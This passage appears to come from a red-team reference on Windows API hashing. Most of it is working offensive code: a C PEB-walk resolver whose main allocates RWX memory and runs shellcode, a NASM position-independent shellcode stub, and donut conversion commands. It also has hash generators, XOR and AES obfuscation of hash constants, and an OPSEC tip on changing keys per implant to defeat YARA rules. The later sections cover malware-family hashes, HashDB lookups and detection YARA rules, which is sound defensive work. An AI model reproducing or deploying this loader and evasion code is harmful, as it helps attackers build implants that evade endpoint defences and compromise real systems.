#include <Windows.h>
#include <winternl.h>

// ── Choose your hash algorithm ────────────────────────────────
// Swap this function to change algorithm
static DWORD hash_string(const char *str)
{
    // Using ROR13 — swap with djb2_hash / fnv1a_hash / custom_hash
    DWORD h = 0;
    while (*str) {
        h = ((h >> 13) | (h << 19));    // ROR 13
        h += (BYTE)*str++;
        h &= 0xFFFFFFFF;
    }
    return h;
}

// ── Find module base via PEB walk ─────────────────────────────
static HMODULE peb_get_module(DWORD module_hash)
{
    PPEB peb = (PPEB)__readgsqword(0x60);

    PLIST_ENTRY head  = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY entry = head->Flink;

    while (entry != head)
    {
        PLDR_DATA_TABLE_ENTRY mod = CONTAINING_RECORD(
            entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks
        );

        if (mod->BaseDllName.Buffer)
        {
            // Convert wide name to narrow for hashing
            char name[64] = {0};
            for (int i = 0; i < mod->BaseDllName.Length / 2 && i < 63; i++)
                name[i] = (char)(mod->BaseDllName.Buffer[i] | 0x20);  // tolower

            if (hash_string(name) == module_hash)
                return (HMODULE)mod->DllBase;
        }
        entry = entry->Flink;
    }
    return NULL;
}

// ── Parse EAT and resolve function by hash ────────────────────
static FARPROC eat_get_function(HMODULE mod, DWORD func_hash)
{
    BYTE *base = (BYTE *)mod;

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);

    DWORD eat_rva = nt->OptionalHeader.DataDirectory[
        IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    if (!eat_rva) return NULL;

    PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)(base + eat_rva);

    DWORD *names    = (DWORD *)(base + eat->AddressOfNames);
    WORD  *ordinals = (WORD  *)(base + eat->AddressOfNameOrdinals);
    DWORD *funcs    = (DWORD *)(base + eat->AddressOfFunctions);

    for (DWORD i = 0; i < eat->NumberOfNames; i++)
    {
        char *name = (char *)(base + names[i]);

        if (hash_string(name) == func_hash)
        {
            DWORD func_rva = funcs[ordinals[i]];
            return (FARPROC)(base + func_rva);
        }
    }
    return NULL;
}

// ── Public resolver: find function across all loaded modules ──
FARPROC api_resolve(DWORD module_hash, DWORD func_hash)
{
    HMODULE mod = peb_get_module(module_hash);
    if (!mod) return NULL;
    return eat_get_function(mod, func_hash);
}

// ─────────────────────────────────────────────────────────────
// Pre-computed hashes (use ror13_hasher.py to generate)
// ─────────────────────────────────────────────────────────────
#define HASH_MOD_KERNEL32           0x6DDB9555
#define HASH_MOD_NTDLL              0x1EDAB0ED

#define HASH_VIRTUALALLOC           0x91AFCA54
#define HASH_VIRTUALPROTECT         0x7946C61B
#define HASH_CREATETHREAD           0xC7D05CA5
#define HASH_WRITEPROCESSMEMORY     0xD83D6AA1
#define HASH_LOADLIBRARYA           0x0726774C

// ─────────────────────────────────────────────────────────────
// Usage
// ─────────────────────────────────────────────────────────────
typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL   (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
                   LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);

int main(void)
{
    // Resolve all needed APIs via hash — no strings, no IAT entries
    pVirtualAlloc   VirtualAlloc_   = (pVirtualAlloc)
        api_resolve(HASH_MOD_KERNEL32, HASH_VIRTUALALLOC);
    pVirtualProtect VirtualProtect_ = (pVirtualProtect)
        api_resolve(HASH_MOD_KERNEL32, HASH_VIRTUALPROTECT);
    pCreateThread   CreateThread_   = (pCreateThread)
        api_resolve(HASH_MOD_KERNEL32, HASH_CREATETHREAD);

    // Use them normally
    // (Your shellcode / payload execution logic here)
    LPVOID mem = VirtualAlloc_(NULL, 4096, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    // ... inject shellcode ...
    HANDLE thread = CreateThread_(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
    WaitForSingleObject(thread, INFINITE);

    return 0;
}

10.2 Caching Resolved Addresses

// Cache resolved addresses to avoid re-walking the EAT on every call
// This is important for shellcode that calls the same API repeatedly

typedef struct _API_CACHE {
    DWORD     hash;
    FARPROC   address;
} API_CACHE;

#define MAX_CACHE 32
static API_CACHE api_cache[MAX_CACHE] = {0};
static int       cache_count = 0;

FARPROC api_resolve_cached(DWORD module_hash, DWORD func_hash)
{
    // Check cache first
    for (int i = 0; i < cache_count; i++) {
        if (api_cache[i].hash == func_hash)
            return api_cache[i].address;
    }

    // Not in cache — resolve it
    FARPROC addr = api_resolve(module_hash, func_hash);

    // Store in cache
    if (addr && cache_count < MAX_CACHE) {
        api_cache[cache_count].hash    = func_hash;
        api_cache[cache_count].address = addr;
        cache_count++;
    }
    return addr;
}

10.3 Compile Commands

# Windows — MSVC (no CRT, position-independent friendly)
cl.exe api_resolver.c /Fe:resolver.exe /GS- /Gy /O1 /nodefaultlib /entry:main

# Windows — MinGW cross-compile from Linux
x86_64-w64-mingw32-gcc api_resolver.c -o resolver.exe \
    -masm=intel -O2 -nostdlib -e main

# Generate shellcode from loader (use sRDI or donut):
donut -i resolver.exe -a 2 -o resolver_shellcode.bin

# Inspect IAT of compiled binary:
dumpbin /imports resolver.exe      # MSVC
objdump -x resolver.exe | grep -A20 IMPORT  # MinGW

11. API Hashing in Shellcode (Position-Independent)

What it means: Shellcode has no fixed base address and no loader to fill an IAT. It must resolve every API it needs at runtime, from scratch, using PEB walk + EAT parsing + API hashing. The entire mechanism must be position-independent code (PIC) — no absolute addresses, no global variables stored in fixed memory.

11.1 Shellcode API Resolution Pattern

Shellcode execution flow:
────────────────────────
1. call next_instruction   ← trick to get RIP value
   pop rsi                 ← RSI = current address

2. Get PEB:
   mov rax, gs:[0x60]

3. Walk LDR module list → find kernel32 base

4. Parse kernel32 EAT:
   → walk AddressOfNames
   → hash each name
   → match to pre-computed hash constant

5. Resolve needed APIs:
   → VirtualAlloc (to allocate RWX memory)
   → CreateThread (to execute payload)
   → LoadLibraryA (to load additional DLLs)

6. Call APIs → execute payload

11.2 Complete x64 Shellcode Stub (NASM)

; x64 NASM — Self-contained API resolver shellcode stub
; Position-independent, no imports, no strings
; Resolves CreateThread from kernel32 by ROR13 hash

BITS 64

; Pre-computed ROR13 hashes:
%define HASH_CREATETHREAD  0xC7D05CA5
%define HASH_VIRTUALALLOC  0x91AFCA54

section .text
global _start

_start:
    ; ── Get kernel32 base via PEB ──────────────────────────────
    xor    rbp, rbp
    mov    rax, gs:[rbp + 0x60]    ; PEB
    mov    rax, [rax + 0x18]       ; PEB->Ldr
    mov    rsi, [rax + 0x20]       ; InMemoryOrderModuleList.Flink

    ; Skip: [0]=this process, [1]=ntdll, [2]=kernel32
    lodsq                           ; skip entry 0
    xchg   rax, rsi
    lodsq                           ; skip entry 1
    xchg   rax, rsi
    lodsq                           ; this is kernel32's entry
    mov    rbx, [rax + 0x20]        ; RBX = kernel32 base addr (DllBase at offset 0x10 from start of entry, 0x20 from InMemoryOrderLinks)

    ; ── Resolve VirtualAlloc ───────────────────────────────────
    mov    r8d, HASH_VIRTUALALLOC
    call   resolve_api              ; RAX = VirtualAlloc address
    mov    [rsp - 0x10], rax        ; save it

    ; ... call VirtualAlloc, write shellcode, etc.

    jmp    $                        ; placeholder

; ── API resolver ───────────────────────────────────────────────
; Input:  RBX = module base, R8D = target hash
; Output: RAX = function address (or 0 if not found)
; Clobbers: RCX, RDX, RSI, RDI

resolve_api:
    push   rbp
    mov    rbp, rsp

    ; Parse DOS header
    mov    eax, [rbx + 0x3C]        ; e_lfanew
    mov    rdx, rbx
    add    rdx, rax                  ; NT headers
    mov    eax, [rdx + 0x88]        ; DataDirectory[0].VirtualAddress (export dir)
    lea    rsi, [rbx + rax]          ; RSI = IMAGE_EXPORT_DIRECTORY

    mov    ecx, [rsi + 0x18]         ; NumberOfNames
    mov    eax, [rsi + 0x20]         ; AddressOfNames RVA
    lea    rdi, [rbx + rax]          ; RDI = names array

.loop:
    test   ecx, ecx
    jz     .notfound

    dec    ecx
    mov    eax, [rdi + rcx*4]        ; names[i] RVA
    lea    rdx, [rbx + rax]          ; function name string

    ; Hash the name with ROR13
    push   rcx
    push   rdi
    call   ror13_hash                ; Input: RDX=string, Output: EAX=hash
    pop    rdi
    pop    rcx

    cmp    eax, r8d                  ; compare to target hash
    jne    .loop                     ; no match → try next

    ; Match found — get function address
    mov    eax, [rsi + 0x24]        ; AddressOfNameOrdinals RVA
    lea    rdi, [rbx + rax]
    movzx  eax, word [rdi + rcx*2]  ; ordinal

    mov    ecx, [rsi + 0x1C]        ; AddressOfFunctions RVA
    lea    rdi, [rbx + rcx]
    mov    eax, [rdi + rax*4]       ; function RVA
    lea    rax, [rbx + rax]         ; absolute address
    jmp    .done

.notfound:
    xor    rax, rax

.done:
    pop    rbp
    ret

; ── ROR13 hash ─────────────────────────────────────────────────
; Input:  RDX = pointer to null-terminated ASCII string
; Output: EAX = ROR13 hash
ror13_hash:
    xor    eax, eax                  ; hash = 0
.hloop:
    movzx  ecx, byte [rdx]           ; current char
    test   ecx, ecx
    jz     .hdone
    ror    eax, 13                   ; ROR(hash, 13)
    add    eax, ecx                  ; hash += char
    inc    rdx
    jmp    .hloop
.hdone:
    ret

11.3 Shellcode Testing

# Generate test shellcode and test the resolver
# Using BlobRunner (OALabs tool):

# Compile shellcode (NASM → raw bin):
nasm -f bin api_hash_stub.asm -o api_hash_stub.bin

# Run in BlobRunner (debug shellcode without loading into a process):
BlobRunner.exe api_hash_stub.bin

# Attach WinDbg:
windbg -p <PID from BlobRunner>
bp <offset of hash comparison>
g → inspect EAX after hash function

# Alternative: run with x64dbg tracing
x64dbg → File → Open → BlobRunner.exe
Add argument: api_hash_stub.bin
Step through API resolution loop

12. Hash Pre-computation Tools

What it means: Before embedding hashes in your loader, you need to pre-compute the hash value for each API name. Various Python scripts and dedicated tools exist for this.

12.1 Python — Universal Hash Generator

#!/usr/bin/env python3
"""
api_hash_gen.py
Universal API hash pre-computation tool.
Supports: ROR13, DJB2, FNV-1a, CRC32, custom
Usage: python3 api_hash_gen.py --algo ror13 --apis VirtualAlloc CreateThread
       python3 api_hash_gen.py --algo all   --file api_list.txt
"""

import argparse
import struct
import binascii

# ── Hash Algorithms ───────────────────────────────────────────

def ror32(v, n): return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF

def ror13(s):
    h = 0
    for c in s: h = ror32(h, 13); h = (h + ord(c)) & 0xFFFFFFFF
    return h

def djb2(s):
    h = 5381
    for c in s: h = ((h << 5) + h + ord(c)) & 0xFFFFFFFF
    return h

def fnv1a(s):
    h = 0x811C9DC5
    for c in s: h = ((h ^ ord(c)) * 0x01000193) & 0xFFFFFFFF
    return h

def crc32_hash(s):
    return binascii.crc32(s.encode()) & 0xFFFFFFFF

ALGOS = {
    'ror13': ror13,
    'djb2':  djb2,
    'fnv1a': fnv1a,
    'crc32': crc32_hash,
}

# ── Main ──────────────────────────────────────────────────────

def main():
    parser = argparse.ArgumentParser(description='API Hash Generator')
    parser.add_argument('--algo', choices=list(ALGOS.keys()) + ['all'], default='all')
    parser.add_argument('--apis', nargs='+', default=[])
    parser.add_argument('--file', help='file with one API name per line')
    parser.add_argument('--output', choices=['c', 'python', 'table'], default='c')
    args = parser.parse_args()

    # Load API list
    apis = args.apis[:]
    if args.file:
        with open(args.file) as f:
            apis += [l.strip() for l in f if l.strip()]

    if not apis:
        # Default set
        apis = [
            "LoadLibraryA", "GetProcAddress",
            "VirtualAlloc", "VirtualProtect", "VirtualFree",
            "CreateThread", "CreateRemoteThread",
            "WriteProcessMemory", "ReadProcessMemory",
            "OpenProcess", "CloseHandle",
            "NtAllocateVirtualMemory", "NtWriteVirtualMemory",
            "NtCreateThreadEx",
        ]

    algos = ALGOS if args.algo == 'all' else {args.algo: ALGOS[args.algo]}

    # Output
    if args.output == 'c':
        for algo_name, algo_fn in algos.items():
            print(f"// {algo_name.upper()} Hashes")
            for api in apis:
                h = algo_fn(api)
                print(f"#define HASH_{algo_name.upper()}_{api.upper():<35} 0x{h:08X}UL")
            print()
    elif args.output == 'table':
        header = ['API'] + list(algos.keys())
        print(' | '.join(f'{h:<40}' for h in header))
        print('-' * (44 * len(header)))
        for api in apis:
            row = [api] + [f'0x{fn(api):08X}' for fn in algos.values()]
            print(' | '.join(f'{r:<40}' for r in row))

if __name__ == '__main__':
    main()
# Usage examples:
python3 api_hash_gen.py --algo ror13 --output c
python3 api_hash_gen.py --algo all --apis VirtualAlloc CreateThread --output table
python3 api_hash_gen.py --algo djb2 --file my_apis.txt --output c > hashes.h

12.2 PowerShell Hash Calculator (Red Team Quick Use)

# PowerShell — Quick ROR13 hash calculator
# Usage: .\ror13.ps1 LoadLibraryA

param([string[]]$APIs = @("LoadLibraryA","VirtualAlloc","CreateThread"))

function ROR32($val, $bits) {
    return (($val -shr $bits) -bor ($val -shl (32 - $bits))) -band 0xFFFFFFFF
}

function Get-ROR13Hash([string]$api) {
    $hash = [uint32]0
    foreach ($c in $api.ToCharArray()) {
        $hash = ROR32 $hash 13
        $hash = ($hash + [uint32][int]$c) -band 0xFFFFFFFF
    }
    return "0x{0:X8}" -f $hash
}

function Get-DJB2Hash([string]$api) {
    $hash = [uint32]5381
    foreach ($c in $api.ToCharArray()) {
        $hash = (($hash -shl 5) + $hash + [uint32][int]$c) -band 0xFFFFFFFF
    }
    return "0x{0:X8}" -f $hash
}

Write-Host "`nAPI Hash Table:" -ForegroundColor Cyan
Write-Host ("{0,-35} {1,-12} {2,-12}" -f "API", "ROR13", "DJB2")
Write-Host ("-" * 65)

foreach ($api in $APIs) {
    $ror13 = Get-ROR13Hash $api
    $djb2  = Get-DJB2Hash  $api
    Write-Host ("{0,-35} {1,-12} {2,-12}" -f $api, $ror13, $djb2)
}

13. Layered Obfuscation — XOR + Hash

What it means: Using API hashing alone makes function names disappear from strings but leaves the hash constants visible. AV/EDR vendors collect known hash values and write YARA rules that match 0x726774C or 0xEC0E4E8E directly in shellcode bytes. The solution: XOR-obfuscate the hash constants too, so neither strings nor hash values appear in the binary.

13.1 XOR-Encrypted Hash Constants

// Instead of storing plain hash constants:
// #define HASH_VIRTUALALLOC  0x91AFCA54   ← scannable!
//
// Store XOR-obfuscated versions:
// Encrypted = PlainHash XOR XorKey

#define HASH_XOR_KEY           0xDEADBEEF   // Your secret XOR key

// Pre-compute: python3 -c "print(hex(0x91AFCA54 ^ 0xDEADBEEF))"
#define HASH_ENC_VIRTUALALLOC  0x4F0264BB   // 0x91AFCA54 ^ 0xDEADBEEF
#define HASH_ENC_CREATETHREAD  0x196DB15A   // 0xC7D05CA5 ^ 0xDEADBEEF
#define HASH_ENC_LOADLIBRARYA  0xD8997FA3   // 0x0726774C ^ 0xDEADBEEF

// Decrypt at runtime (one XOR instruction):
DWORD get_hash_virtualalloc(void) {
    return HASH_ENC_VIRTUALALLOC ^ HASH_XOR_KEY;
}

// Usage in resolver:
FARPROC va = api_resolve(kernel32_base, get_hash_virtualalloc());

13.2 Hash Constants in Encrypted Array

// Store all hashes in an AES-encrypted table
// Decrypt at runtime before resolution

// Encrypted hash table (run encryption once at build time)
static BYTE encrypted_hashes[] = {
    // AES-256 CBC encrypted blob of hash values
    0x3F, 0x7A, 0xBC, 0x11, 0x44, 0xDE, 0x99, 0x01,
    // ... (generated by hash_table_encrypt.py)
};

static BYTE hash_key[32] = { /* AES key — store securely */ };
static BYTE hash_iv[16]  = { /* AES IV */ };

// At runtime:
void init_api_hashes(void) {
    // Decrypt the hash table
    // Use BCrypt or your AES implementation
    // bcrypt_decrypt(encrypted_hashes, decrypted_hashes, hash_key, hash_iv);

    // Now extract individual hashes from decrypted buffer
    DWORD *hashes = (DWORD *)decrypted_hashes;
    HASH_VIRTUALALLOC       = hashes[0];
    HASH_CREATETHREAD       = hashes[1];
    HASH_WRITEPROCESSMEMORY = hashes[2];
    // ...

    // Zero out decrypted table immediately after extraction
    SecureZeroMemory(decrypted_hashes, sizeof(decrypted_hashes));
}

13.3 Python — Hash Obfuscation Tool

#!/usr/bin/env python3
# hash_obfuscate.py
# XOR-obfuscate your hash constants so they don't appear as
# known API hash values in binary scanners

import secrets

def ror32(v, n): return ((v >> n) | (v << (32-n))) & 0xFFFFFFFF

def ror13(s):
    h = 0
    for c in s: h = ror32(h, 13); h = (h + ord(c)) & 0xFFFFFFFF
    return h

# Generate a random XOR key for this build
XOR_KEY = secrets.randbits(32)
print(f"#define HASH_XOR_KEY  0x{XOR_KEY:08X}UL  // KEEP SECRET — one per build\n")

apis = {
    "VirtualAlloc":         ror13("VirtualAlloc"),
    "VirtualProtect":       ror13("VirtualProtect"),
    "CreateThread":         ror13("CreateThread"),
    "WriteProcessMemory":   ror13("WriteProcessMemory"),
    "LoadLibraryA":         ror13("LoadLibraryA"),
    "GetProcAddress":       ror13("GetProcAddress"),
    "NtAllocateVirtualMemory": ror13("NtAllocateVirtualMemory"),
    "NtCreateThreadEx":     ror13("NtCreateThreadEx"),
}

print("// XOR-obfuscated hash constants (plain values never appear in binary):")
print("// To recover: HASH_ENC_X ^ HASH_XOR_KEY")
print()
for api, plain_hash in apis.items():
    enc_hash = plain_hash ^ XOR_KEY
    print(f"// {api}: plain=0x{plain_hash:08X}, xor_key=0x{XOR_KEY:08X}")
    print(f"#define HASH_ENC_{api.upper():<35} 0x{enc_hash:08X}UL")
    print()

print()
print("// Runtime decryption macro:")
print("#define DECRYPT_HASH(enc) ((enc) ^ HASH_XOR_KEY)")
print()
print("// Usage: api_resolve(module_hash, DECRYPT_HASH(HASH_ENC_VIRTUALALLOC))")

[OPSEC] XOR key regeneration per build. Every compiled implant should use a different XOR key. This means the obfuscated hash constants differ between implants even for the same target function — defeating hash-constant YARA rules entirely.


14. Real-World Malware Implementations

What it means: Understanding how actual malware families implement API hashing is critical for both red team accuracy and blue team detection. This section covers the most studied implementations.

14.1 Metasploit / Cobalt Strike — ROR13

How Cobalt Strike beacon resolves APIs:

1. Shellcode begins with CLD instruction (0xFC) to reset direction flag
2. Jump over hash resolution code → execution starts at hash_resolver

hash_resolver:
    push rbp           ← save stack
    ; PEB walk to find module (kernel32 or requested DLL)
    ; Module name hashed with ROR13 + module hash accumulated
    ; Function name hashed with ROR13

3. API hash constants pushed as immediate values:
    push  0x726774C     ← hash of "LoadLibraryA"
    call  hash_resolver  ← resolve and call

4. Result: RAX = LoadLibraryA address

Known Cobalt Strike ROR13 signature hashes:
────────────────────────────────────────────
LoadLibraryA             → 0x0726774C  ← most well-known
GetProcAddress           → 0xEC0E4E8E  (alternate)  
VirtualAlloc             → 0x91AFCA54
NtFlushInstructionCache  → 0x534C0AB8
WinExec                  → 0x876F8B31
InternetOpenA            → 0xA779563A   ← HTTPS beacon
InternetConnectA         → 0xC69F8957
WSAStartup               → 0x006B8029   ← TCP beacon
# Cobalt Strike ROR13 combined hash (module + function):
# Total hash = ROR13(module_name_uppercase + null) + ROR13(function_name)
# This combined hash identifies both DLL and function in one value

def cobalt_strike_hash(module: str, func: str) -> int:
    def ror32(v, n): return ((v >> n) | (v << (32-n))) & 0xFFFFFFFF
    def ror13(s):
        h = 0
        for c in s: h = ror32(h, 13); h = (h + ord(c)) & 0xFFFFFFFF
        return h

    # Module: uppercase, include null terminator
    mod_upper = module.upper()
    mod_hash  = ror13(mod_upper + '\x00')

    # Function: as-is
    func_hash = ror13(func)

    # Combined (used in some CS variants):
    return (mod_hash + func_hash) & 0xFFFFFFFF

# Example:
print(hex(cobalt_strike_hash("KERNEL32.DLL", "LoadLibraryA")))

14.2 TrickBot — FNV-1a for NT APIs

// TrickBot uses FNV-1a to hash NT API names (ntdll.dll functions)
// Target APIs: NtCreateThreadEx, NtWriteVirtualMemory, NtQueryInformationProcess

// TrickBot's FNV-1a implementation (exact):
DWORD trickbot_fnv1a(const char *str)
{
    DWORD hash = 0x811C9DC5;  // FNV offset basis
    while (*str)
    {
        hash ^= (DWORD)(BYTE)*str++;
        hash *= 0x01000193;   // FNV prime
    }
    return hash;
}

// TrickBot target hashes (FNV-1a):
// NtCreateThreadEx          → 0x40A85E1F
// NtWriteVirtualMemory      → 0xF6C8F30B
// NtAllocateVirtualMemory   → 0xB7A71C21
// NtQueryInformationProcess → 0xC229B5A2
// NtOpenProcess             → 0x4F65A55E

14.3 GuLoader — DJB2

// GuLoader's DJB2 implementation — maps entire used API surface with DJB2

DWORD guloader_djb2(const char *str)
{
    DWORD hash = 5381;
    while (*str)
    {
        hash = ((hash << 5) + hash) + (DWORD)(BYTE)*str++;
    }
    return hash;
}

// CrowdStrike exposed GuLoader's complete hash table:
// CreateMutexA         → DJB2 hash
// GetLastError         → DJB2 hash
// WaitForSingleObject  → DJB2 hash
// URLDownloadToFileA   → DJB2 hash (downloads next stage payload)
// ShellExecuteA        → DJB2 hash (executes downloaded payload)
// VirtualAlloc         → DJB2 hash
// NtAllocateVirtualMemory → DJB2 hash (direct syscall path)

14.4 QakBot — Custom XOR'd FNV-1a

// QakBot adds an XOR obfuscation layer on top of FNV-1a
// The XOR key changes per campaign/build

#define QAKBOT_XOR_KEY  0x36F9A0B1   // Example — changes per sample

DWORD qakbot_hash(const char *str)
{
    DWORD hash = 0x811C9DC5;
    while (*str)
    {
        hash ^= (DWORD)(BYTE)*str++;
        hash *= 0x01000193;
    }
    return hash ^ QAKBOT_XOR_KEY;  // final XOR shifts all constants
}

15. Tools Reference

15.1 Hash Pre-computation

Tool Purpose URL
ror13_hasher.py Pre-compute ROR13 hashes Write yourself (§5.3)
api_hash_gen.py Multi-algo hash generator Write yourself (§12.1)
LloydLabs/Windows-API-Hashing C++ API hashing library github.com/LloydLabs/Windows-API-Hashing
Sh0ckFR/API-Hashing C++ IAT avoidance example github.com/Sh0ckFR/API-Hashing

15.2 Analysis & Detection (Blue Team)

Tool Purpose URL
HashDB (OALabs) Hash lookup service — find API by hash hashdb.openanalysis.net
HashDB IDA Plugin Right-click hash lookup in IDA Pro github.com/OALabs/hashdb-ida
HashDB Ghidra Plugin Hash lookup in Ghidra github.com/OALabs/hashdb-ghidra
HashDB Binary Ninja Hash lookup in Binary Ninja github.com/OALabs/hashdb-bn
capa (FLARE) Capability detection — detects PEB walk + hash patterns github.com/mandiant/capa
BlobRunner Debug raw shellcode (test your resolver) github.com/OALabs/BlobRunner
Ghidra RE platform with PEB walk script support github.com/NationalSecurityAgency/ghidra
IDA Pro Primary RE platform for API hash analysis hex-rays.com
x64dbg Dynamic analysis / step through hash resolution x64dbg.com
PE-bear PE inspection — examine IAT before/after hashing github.com/hasherezade/pe-bear

15.3 HashDB API (Programmatic Lookup)

#!/usr/bin/env python3
# hashdb_lookup.py — Query OALabs HashDB to identify unknown hash values

import requests

HASHDB_URL = "https://hashdb.openanalysis.net"

def lookup_hash(hash_value: int, algorithm: str = "ror13") -> dict:
    """Look up a hash value against the HashDB API."""
    url = f"{HASHDB_URL}/hash/{algorithm}/{hash_value}"
    response = requests.get(url, timeout=10)

    if response.status_code == 200:
        return response.json()
    return {"error": f"HTTP {response.status_code}"}

def list_algorithms() -> list:
    """Get list of supported hash algorithms from HashDB."""
    response = requests.get(f"{HASHDB_URL}/hash", timeout=10)
    return response.json() if response.status_code == 200 else []

# Example usage:
algorithms = list_algorithms()
print(f"[*] Supported algorithms: {algorithms}")

# Look up the famous Cobalt Strike LoadLibraryA ROR13 hash:
result = lookup_hash(0x0726774C, "ror13")
print(f"\n[*] 0x0726774C (ROR13): {result}")

# Bulk lookup — identify all hashes found in shellcode
suspicious_hashes = [
    0x0726774C,   # seen in shellcode
    0x91AFCA54,   # seen in shellcode
    0xC7D05CA5,   # seen in shellcode
]

print("\n[*] Bulk lookup results:")
for h in suspicious_hashes:
    r = lookup_hash(h, "ror13")
    api_name = r.get("hits", [{}])[0].get("api", "unknown") if "hits" in r else "not found"
    print(f"  0x{h:08X} → {api_name}")
# HashDB CLI examples (using curl):
# Look up a hash:
curl "https://hashdb.openanalysis.net/hash/ror13/0x0726774C"

# List all supported algorithms:
curl "https://hashdb.openanalysis.net/hash"

# Look up with XOR key (common in malware):
curl "https://hashdb.openanalysis.net/hash/ror13/0x0726774C?xor=0xDEADBEEF"

15.4 IDA Pro — API Hash Analysis Workflow

Analyzing API-hashed malware in IDA Pro:

1. Open the binary in IDA Pro
2. Install HashDB IDA plugin:
   pip install hashdb-ida
   (or: Edit → Plugins → Manage plugins)

3. Configure HashDB:
   Edit → Plugins → HashDB → Settings
   ├─ API URL: https://hashdb.openanalysis.net
   ├─ Algorithm: ror13 (or auto-detect)
   └─ XOR Key: 0x00000000 (or known key)

4. Find hash constants in disassembly:
   ├─ Look for PUSH <hex_constant> before CALL
   ├─ Look for MOV reg, <hex_constant>; CALL reg
   └─ Grep for suspicious hex patterns

5. Right-click a hash constant → HashDB Lookup
   ├─ Plugin queries hashdb.openanalysis.net
   ├─ Returns: API name if in database
   └─ Creates an IDA enum entry with the API name

6. Apply enum to all instances:
   Edit → Operands → Use enum
   ├─ All instances of that hash value renamed
   └─ Decompiler shows human-readable API name

7. Result: API-hashed binary reads like normal code

16. Detection & Analysis

16.1 Static Detection Signals

Signals that indicate API hashing in a binary:

1. Minimal or empty IAT:
   ├─ Only 1-2 imports (e.g., just LoadLibraryA or nothing)
   └─ Binary would be non-functional with so few imports
   Tool: PE-bear, CFF Explorer, dumpbin /imports

2. Known hash constants in binary:
   ├─ 0x0726774C present → LoadLibraryA (ROR13 / CS / MSF)
   ├─ 0xEC0E4E8E present → GetProcAddress (ROR13)
   ├─ 0x91AFCA54 present → VirtualAlloc (ROR13)
   └─ Scan for these with YARA (see §16.3)
   Tool: HashDB, YARA, strings + grep

3. PEB-walk code pattern:
   ├─ GS:[0x60] access (x64) or FS:[0x30] (x86) in disassembly
   ├─ Followed by offset 0x18 (PEB→Ldr) and 0x20 (InMemoryOrderModuleList)
   └─ Classic shellcode signature
   Tool: IDA Pro, Ghidra, capa

4. ROR/ROL instruction in tight loop:
   ├─ ROR EAX, 13 in a character-processing loop
   └─ Dead giveaway for ROR13 implementation
   Tool: IDA, x64dbg

5. Known algorithm constants:
   ├─ 0x811C9DC5 (FNV-1a offset basis)
   ├─ 0x01000193 (FNV-1a prime)
   ├─ 5381       (DJB2 seed)
   └─ 0xEDB88320 (CRC32 polynomial)
   Tool: Binary pattern search, YARA

16.2 Dynamic Detection Signals

Runtime signals that indicate API hashing:

1. Export table walking:
   ├─ Process reads its own loaded DLLs' export tables
   ├─ Repeated accesses to AddressOfNames array at runtime
   └─ Detectable by memory access pattern monitoring

2. PEB structure reads in unusual code:
   ├─ EDR sees GS:[0x60] access from non-standard code location
   └─ In shellcode context → suspicious

3. No standard API call stack:
   ├─ VirtualAlloc called with no corresponding IAT entry
   ├─ Call originates from dynamically resolved pointer
   └─ ETW / API tracing shows call without matching import

4. API calls from unexpected locations:
   ├─ CreateThread called from heap or RWX memory
   ├─ Call stack shows unusual origin
   └─ EDR call-stack spoofing detection catches this

16.3 YARA Rules — Detect Common API Hash Patterns

// YARA rules for detecting API hashing in shellcode

rule API_Hashing_ROR13_Constants {
    meta:
        author = "Red Team Reference"
        description = "Detects ROR13 hash constants for common APIs"

    strings:
        // LoadLibraryA ROR13 hash (Metasploit / Cobalt Strike)
        $h_loadlibrary   = { 4C 77 26 07 }   // 0x0726774C LE
        // VirtualAlloc ROR13 hash
        $h_virtualalloc  = { 54 CA AF 91 }   // 0x91AFCA54 LE
        // NtFlushInstructionCache ROR13 hash (in CS shellcode)
        $h_ntflush       = { B8 0A 4C 53 }   // 0x534C0AB8 LE
        // InternetOpenA ROR13 (HTTPS beacons)
        $h_internetopen  = { 3A 56 79 A7 }   // 0xA779563A LE

    condition:
        2 of ($h_*)
}

rule API_Hashing_FNV1a_Constants {
    meta:
        description = "Detects FNV-1a algorithm constants used for API hashing"

    strings:
        // FNV-1a offset basis
        $fnv_offset = { C5 9D 1C 81 }   // 0x811C9DC5 LE
        // FNV-1a prime
        $fnv_prime  = { 93 01 00 01 }   // 0x01000193 LE

    condition:
        $fnv_offset and $fnv_prime
}

rule API_Hashing_DJB2_Seed {
    meta:
        description = "Detects DJB2 seed constant used in GuLoader and others"

    strings:
        // DJB2 seed 5381 = 0x1505
        $djb2_seed = { 05 15 00 00 }   // 0x00001505 LE

    condition:
        $djb2_seed
}

rule API_Hashing_PEB_Walk_x64 {
    meta:
        description = "Detects x64 PEB walk pattern (GS:[0x60] read)"

    strings:
        // MOV RAX, GS:[0x60] — read PEB
        $peb_read_x64 = { 65 48 8B 04 25 60 00 00 00 }
        // MOV RAX, [RAX+0x18] — PEB→Ldr
        $ldr_access   = { 48 8B 40 18 }
        // MOV RSI, [RAX+0x20] — Ldr→InMemoryOrderModuleList
        $ldr_list     = { 48 8B 70 20 }

    condition:
        $peb_read_x64 and ($ldr_access or $ldr_list)
}

rule API_Hashing_PEB_Walk_x86 {
    meta:
        description = "Detects x86 PEB walk pattern (FS:[0x30] read)"

    strings:
        // MOV EAX, FS:[0x30] — read PEB (x86)
        $peb_read_x86 = { 64 A1 30 00 00 00 }

    condition:
        $peb_read_x86
}

rule API_Hashing_ROR13_Loop {
    meta:
        description = "Detects ROR13 hash loop in shellcode (rotate right 13)"

    strings:
        // ROR EAX, 13 instruction
        $ror13_eax = { C1 C8 0D }
        // ROR EBX, 13 instruction
        $ror13_ebx = { C1 CB 0D }

    condition:
        any of them
}

16.4 x64dbg / IDA Scripting — Auto-Identify Hashes

